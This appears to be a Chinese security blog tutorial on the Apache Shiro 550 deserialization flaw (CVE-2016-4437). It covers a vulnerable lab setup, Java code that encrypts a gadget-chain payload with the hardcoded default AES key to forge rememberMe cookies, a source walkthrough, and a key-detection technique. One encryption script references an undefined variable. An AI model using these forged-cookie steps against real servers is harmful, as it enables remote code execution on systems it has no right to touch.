0x00 前言
说到 shiro 想必大家都很熟悉了,在近几年的 hw 中都担任了非常重要的角色,Shiro 550 就是 CVE-2016-4437,AES Key硬编码的那个,在Github上也有各种工具,但是没学习原理只用工具梭哈,终究只能做一个脚本小子,所以来简单的学习一下
0x01 Shiro 简单介绍
shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下
Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms
Subject:代表当前的用户
SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心
Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization)
我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等。
下面是自己实现的 Realm,这里我们实现了认证的方法
这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码
我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo
AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败
0x02 漏洞原理
在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化
由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞
0x03 漏洞环境
很简单的漏洞环境,是从 vulhub中提出来的
ps:原生 shiro 中是没有 common-collections的,这里为了更好的演示,所以添加了 common-collections 依赖
结构如下:
UserController:
package shiroexploit.demo.Controller;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.web.filter.authc.AuthenticatingFilter;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
@Controller
public class UserController {
@PostMapping("/doLogin")
public String doLoginPage(@RequestParam("username") String username,@RequestParam("password") String password,@RequestParam(name="rememberme", defaultValue="") String rememberMe){
Subject subject = SecurityUtils.getSubject();
try {
subject.login((AuthenticationToken)new UsernamePasswordToken(username, password, rememberMe.equals("remember-me")));
// 如果认证失败
}catch (AuthenticationException e) {
return "forward:/login";
}
return "forward:/";
}
@ResponseBody
@RequestMapping(value={"/"})
public String helloPage() {
return "hello";
}
@ResponseBody
@RequestMapping(value={"/unauth"})
public String errorPage() {
return "error";
}
@ResponseBody
@RequestMapping(value={"/login"})
public String loginPage() {
return "please login pattern /doLogin";
}
}
MainRealm:
package shiroexploit.demo.Shiro;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.mgt.AbstractRememberMeManager;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class MainRealm extends AuthorizingRealm {
// 用于授权
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
// 获取当前授权的用户
return null;
}
// 用于认证
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
// getPrincipal 获取当前用户身份
String username = (String)authenticationToken.getPrincipal();
// 获取当前用户信用凭证 (其实就是获取密码 密码是 char类型的所以要转一下
String password = new String((char[])authenticationToken.getCredentials());
// 如果等于就返回对应的用户凭证
if (username.equals("admin") && password.equals("admin")) {
// shiro 会返回一个 AuthenticationInfo
// 当前的realm名字
return new SimpleAuthenticationInfo((Object)username, (Object)password, this.getName());
}
throw new IncorrectCredentialsException("Username or password is incorrect.");
}
}
ShiroConfig:
package shiroexploit.demo.Shiro;
import java.util.LinkedHashMap;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
//import org.vulhub.shirodemo.MainRealm;
@Configuration
public class ShiroConfig {
@Bean
MainRealm mainRealm() {
return new MainRealm();
}
@Bean
RememberMeManager cookieRememberMeManager() {
return new CookieRememberMeManager();
}
@Bean
SecurityManager securityManager(MainRealm mainRealm, RememberMeManager cookieRememberMeManager) {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm((Realm)mainRealm);
manager.setRememberMeManager(cookieRememberMeManager);
return manager;
}
@Bean(name={"shiroFilter"})
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setUnauthorizedUrl("/unauth");
LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
map.put("/doLogin", "anon");
map.put("/**", "user");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.4</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>ShiroExploit</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.6.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.6.0</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
0x04 漏洞利用
这里我们利用 cc11 来加载我们的恶意代码来打过去,cc11 的好处在于可以直接加载字节码,例如 cc6 和 cc11的区别就是一个是命令执行一个是代码执行,相比之下肯定是我们的代码执行危害比较大
ps:这里其实 cc6 是不行的,具体可以参考p神的 java漫谈
cc11 的 Poc 我们之前贴过了,由于 Poc 太长了所以这里直接放链接了
链接:https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx
运行 cc11 的 poc 生成对应文件,然后利用如下代码进行加密生成
package shiroexploit.demo;
import com.sun.crypto.provider.AESKeyGenerator;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
public class AESencode {
public static void main(String[] args) throws Exception {
String path = "/Users/xxxx/Desktop/java/ShiroTool/cc11";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(detectpath), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
将生成的密文作为 rememberMe 的值进行传递,最终触发我们的计算器
0x05 漏洞分析
shiro的链其实蛮短的,同时也很好理解,我们接下来来分析一下
首先我们大体思路要有,那么就是 shiro 获取来我们cookie中 rememberMe 的值然后进行了 base64解码,AES 解密,然后再 readObject 造成的,大致流程如下:
首先会在 AbstractRememberMeManager#getRememberedPrincipals 中将上下文中获取数据传入getRememberedSerializedIdentity 函数中
我们跟进该函数 CookieRememberMeManager#getRememberedSerializedIdentity 会从我们的请求的 cookie 中获取对应的值
在SimpleCookie#readValue中获取了 Cookie 中的 rememberMe 的值同时进行了返回
再次回到 CookieRememberMeManager#getRememberedSerializedIdentity 中进行 Base64 解码,然后返回解码后的字节数组
回到最初的方法 AbstractRememberMeManager#getRememberedPrincipals 中将之前返回的字节数组转换成PrincipalCollection,跟进该函数
在 AbstractRememberMeManager#convertBytesToPrincipals 中会调用 decrypt 方法,我们继续跟进
来到 AbstractRememberMeManager#decrypt,在该方法中会利用 getDecryptionCipherKey 函数获取到 AES 的 key,然后进行解密
这里不难猜测 getDecryptionCipherKey 返回的就是 AES Key,我们具体进行跟进
我们看一下 getDecryptionCipherKey 是如何获取我们的 AES key 的,发现 getDecryptionCipherKey 会返回一个 数组,对应的我们去看 setDecryptionCipherKey 是如何进行设置的,找到之后发现在 setCipherKey 中将 cipherKey 传入到 setDecryptionCipherKey中(也就是第二个红框处)
继续搜索哪里调用了 setCipherKey,发现在构造函数中调用了该函数,同时我们也发现了硬编码的密钥 DEFAULT_CIPHER_KEY_BYTES作为参数传入了该函数
所以我们捋一下流程就是:
- AbstractRememberMeManager的构造函数中传入了 Base64解码后的密钥,然后调用了setCipherKey
- setCipherKey 中调用了setDecryptionCipherKey设置了decryptionCipherKey属性
- getDecryptionCipherKey 直接返回了该属性
接下来我们重新回到 decrypt 函数中,发现会调用 JcaCipherService#decrypt 进行解密,继续跟进
继续进行跟进
调用了 crypt 进行了解密
2是解密模式,然后调用 doFinal 执行解密,然后返回解密结果
返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回
返回值赋值给 bytes,调用 deserialize 进行反序列化操作
AbstractRememberMeManager#deserialize
最终来到 DefaultSerializer#deserialize 对数据进行反序列化,从而触发计算器
最终效果如下:
0x06 漏洞检测
文章链接:http://www.lmxspace.com/2020/08/24/一种另类的shiro检测方式/
网上的检测方法很多例如dnslog,cc盲打等,但是上面这些方法在某些特殊情况下并不奏效,这里我们主要来学习一下 l1nk3r 师傅提出的检测方案
key正确则不显示deleteMe,反之则显示 deleteMe,这样的检测方法能够高效的进行检测
我们先比对一下密钥正确和密钥错误的时候代码是如何走的,有什么区别,同时是如何利用这些区别来进行 key 的校验的
密钥错误情况
我们先来看一下密钥错误的时候,代码是如何走的
由于前面已经分析过了,所以前面的一些步骤我们这里就略过了直接从核心的代码处,也就是我们的 decrypt 开始分析,位置在 AbstractRememberMeManager#decrypt
由于密钥是错的 所以解密失败抛出异常
抛出的异常会在 getRememberedPrincipals 函数进行一个捕获,在 catch 中调用了 onRememberedPrincipalFailure 方法,我们进入该方法进行一个跟进
在 AbstractRememberMeManager#onRememberedPrincipalFailure 中发现调用了 forgetIdentity 方法,我们继续进行跟进
同样的继续跟进 removeForm方法
发现在该方法中对我们的返回头进行了一个返回,也就是输出我们 deleteMe 的地方
回过头来我们思考一下,我们最开始的起因是不是因为密钥解密失败,抛出了报错导致被getRememberedPrincipals的catch捕获,从而调用了 onRememberedPrincipalFailure 函数,最终在返回头重显示了 deleteMe
那么也就是说如果我们在运行过程中不抛出错误那么是不是就不会调用 onRememberedPrincipalFailure函数,从而最终不会显示 delteMe了呢?
接下来我们来看一下密钥正确的情况
密钥正确情况
前面都是一样的,由于密钥是正确的所以前面都不会进行报错
反序列化中也没有报错,返回反序列化之后的类
但是在这之后会进行一次类型转换,会将我们返回的类转换成 PrincipalCollection 类,否则就会抛出错误
下图是我们的 Gadget 在类型转换的时候抛出的异常的一个例子,位置 AbstractRememberMeManager#deserialize
抛出了异常之后就会被 getRememberedPrincipals 的 catch 所捕获导致最终 header头中有 deleteMe
ps:这里还有一个就是我们的 Gadget在反序列化过程中自身不能出现报错,在利用 cc 的时候很多时候我们可以发现运行之后会产生报错,但是由于我们的命令执行在报错之前所以并无大碍,但是在这里检测的情况下抛出报错就会导致被捕获从而在返回头中出现 deleteMe
所以在密钥正确的情况下想要让回显头中没有 deleteMe 也是有条件的
- 我们需要构造一个继承于 PrincipalCollection 的序列化对象
这样当我们密钥正确的时候返回头重就不会有了 deleteMe
构造
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("./detect.ser"));
obj.writeObject(simplePrincipalCollection);
obj.close();
然后进行一次 AES 加密发送即可
package shiroexploit.demo;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
public class AESencode {
public static void main(String[] args) throws Exception {
String path = "/Users/xxxx/Desktop/java/ShiroExploit/detect.ser";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(path), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
key正确的截图
key错误的截图
0x07 总结
至此第一部分就到这里了,本来打算把 Shiro 内存马那块写在一起但是怕篇幅太长了所以打算另开一篇来写,这样也好写的详细点
再次感谢 l1nk3r 师傅的文章,学到了很多